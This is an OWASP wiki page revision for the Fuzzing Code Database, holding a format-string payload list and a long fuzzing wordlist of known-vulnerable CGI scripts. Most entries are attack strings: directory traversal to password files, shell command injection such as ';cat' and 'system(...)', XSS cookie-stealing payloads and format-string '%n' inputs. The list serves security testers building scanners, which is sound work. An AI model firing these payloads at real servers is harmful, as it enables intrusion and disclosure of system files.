xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80075 2010-03-17T21:08:33Z

<p>Adam.muntner: /* Vulnerable Cross-Platform CGI (17 March 2010) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Windows Directory Traversal (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Windows Directory Traversal (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> 